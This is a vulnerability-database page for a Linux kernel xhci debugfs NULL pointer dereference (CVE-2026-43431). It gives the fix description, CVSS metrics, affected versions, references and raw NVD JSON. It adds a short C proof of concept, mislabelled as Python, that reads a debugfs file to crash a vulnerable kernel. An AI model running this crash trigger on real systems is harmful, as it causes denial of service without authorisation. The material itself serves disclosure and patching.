CVE-2026-43431

Description

In the Linux kernel, the following vulnerability has been resolved: xhci: Fix NULL pointer dereference when reading portli debugfs files Michal reported and debgged a NULL pointer dereference bug in the recently added portli debugfs files Oops is caused when there are more port registers counted in xhci->max_ports than ports reported by Supported Protocol capabilities. This is possible if max_ports is more than maximum port number, or if there are gaps between ports of different speeds the 'Supported Protocol' capabilities. In such cases port->rhub will be NULL so we can't reach xhci behind it. Add an explicit NULL check for this case, and print portli in hex without dereferencing port->rhub.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:* - VULNERABLE

Linux Kernel (特定版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>

// PoC to trigger NULL pointer dereference in xhci portli debugfs
// Requires debugfs to be mounted and the vulnerable kernel version.

int main() {
    FILE *fp;
    char path[] = "/sys/kernel/debug/usb/xhci/0000:00:14.0/portli"; // Example path
    char buffer[256];

    // Attempt to open the debugfs file
    fp = fopen(path, "r");
    if (fp == NULL) {
        perror("Error opening file");
        return 1;
    }

    // Reading the file triggers the NULL pointer dereference
    // if xhci->max_ports is inconsistent with capabilities.
    printf("Reading portli debugfs file to trigger the crash...\n");
    while (fgets(buffer, sizeof(buffer), fp) != NULL) {
        printf("%s", buffer);
    }

    fclose(fp);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43431
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43431
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43431/
[4] VulDB https://vuldb.com/cve/CVE-2026-43431
[5] https://git.kernel.org/stable/c/9c8bef223c6e991276188d30d74bdb2cbd8be652
[6] https://git.kernel.org/stable/c/ae4ff9dead5efa2025eddfcdb29411432bf40a7c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43431", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:55.367", "lastModified": "2026-05-20T18:21:21.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxhci: Fix NULL pointer dereference when reading portli debugfs files\n\nMichal reported and debgged a NULL pointer dereference bug in the\nrecently added portli debugfs files\n\nOops is caused when there are more port registers counted in\nxhci->max_ports than ports reported by Supported Protocol capabilities.\nThis is possible if max_ports is more than maximum port number, or\nif there are gaps between ports of different speeds the 'Supported\nProtocol' capabilities.\n\nIn such cases port->rhub will be NULL so we can't reach xhci behind it.\nAdd an explicit NULL check for this case, and print portli in hex\nwithout dereferencing port->rhub."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/9c8bef223c6e991276188d30d74bdb2cbd8be652", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ae4ff9dead5efa2025eddfcdb29411432bf40a7c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}